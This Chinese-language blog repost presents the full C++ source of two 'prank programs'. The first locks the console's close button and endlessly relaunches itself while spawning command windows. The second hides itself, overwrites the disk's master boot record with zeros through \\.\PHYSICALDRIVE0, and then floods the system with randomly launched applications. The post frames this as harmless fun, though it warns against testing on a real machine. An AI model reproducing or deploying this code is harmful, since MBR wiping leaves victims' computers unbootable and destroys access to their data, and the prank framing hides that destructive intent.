欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程语言 > c/c++ >内容正文

c/c++

整人小程序c++实现(附源码)

发布时间:2024/8/1 c/c++ 33 豆豆
生活随笔 收集整理的这篇文章主要介绍了 整人小程序c++实现(附源码) 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

两个用c++实现的整人小程序,亲测可用

切勿拿实体机试验,<极易废电脑> 

#include <iostream> #include <windows.h> using namespace std; int main() {SetConsoleTitle("整人小程序"); //将程序标题改为整人小程序 HWND hWnd; //设置一个窗口句柄 hWnd=FindWindow("ConsoleWindowClass",NULL); //获取控制台窗口 HMENU hMenu; //设置一个窗口菜单句柄 hMenu=GetSystemMenu(hWnd,false); //得到最小化、关闭等等的菜单,并赋值为falseEnableMenuItem(hMenu,SC_CLOSE,MF_BYCOMMAND|MF_GRAYED); //SC_CLOSE为关闭按钮,后面两个使得关闭按钮变灰无法点击MessageBox(NULL,"你已经无法关闭此窗口了!","提示",MB_OK|MB_ICONINFORMATION); //弹出窗口Sleep(1000);for(int i=0; ;i++)//也可以用while(1)代替,反正都是死循环 {system("start"); //打开命令提示符ShellExecute(0,"open","整人小程序.exe",0,0,1); //ShellExecute函数,open为打开,第三项为指定的程序 Sleep(50); //每次循环后休息0.05秒} } #include <windows.h> #include <cstdlib> #include <cstdio> int main() {NEXT_INQUIRY:HWND hWnd; //设置一个句柄hWnd=FindWindow("ConsoleWindowClass",NULL); //得到控制台窗口句柄if(!hWnd){goto NEXT_INQUIRY; //返回NEXT_INQUIRY下的代码继续 }ShowWindow(hWnd,SW_HIDE); //将自己隐藏FILE *REMOVE_MBR=fopen("\\\\.\\PHYSICALDRIVE0","rb+"); //\\\\.\\PHYSICALDRIVE0为MBR文件,fopen打开,rb+意为打开一个二进制文件,只可读写数据 char MBR[512]; //将MBR的大小设置为512,因为MBR的三个主引导扇区的总大小为512 ZeroMemory(MBR,sizeof(MBR)); //初始化MBR的大小 fwrite(MBR,sizeof(MBR),1,REMOVE_MBR); //写入一个新的MBR值(破坏MBR)CloseHandle(REMOVE_MBR); //关闭REMOVE_MBR句柄while(1) //死循环 {HWND windows=FindWindow("ConsoleWindowClass","整人小程序(加强版)"); //找到标题为 整人小程序(加强版) 的控制台窗口 if(windows==NULL) //如果未找到 {ShellExecute(0,"open","整人小程序(加强版).exe",0,0,1); //打开 整人小程序(加强版)MessageBox(NULL,"你激怒我了!","愤怒",MB_OK|MB_ICONERROR); //弹出窗口 while(1) //死循环 {const char *application[]={"cmd.exe","calc.exe","explorer.exe","mspaint.exe","QQ.exe","cloudmiusic.exe","notepad.exe"}; //需要打开的程序 int stochastic=rand()%6; //设置一个随机数,使其随机输出0~6的数 ShellExecute(0,"open",application[stochastic],0,0,1); //随机打开上述文件的其中之一 Sleep(50); //每次循环后休息0.05秒 }} } }

总结

以上是生活随笔为你收集整理的整人小程序c++实现(附源码)的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。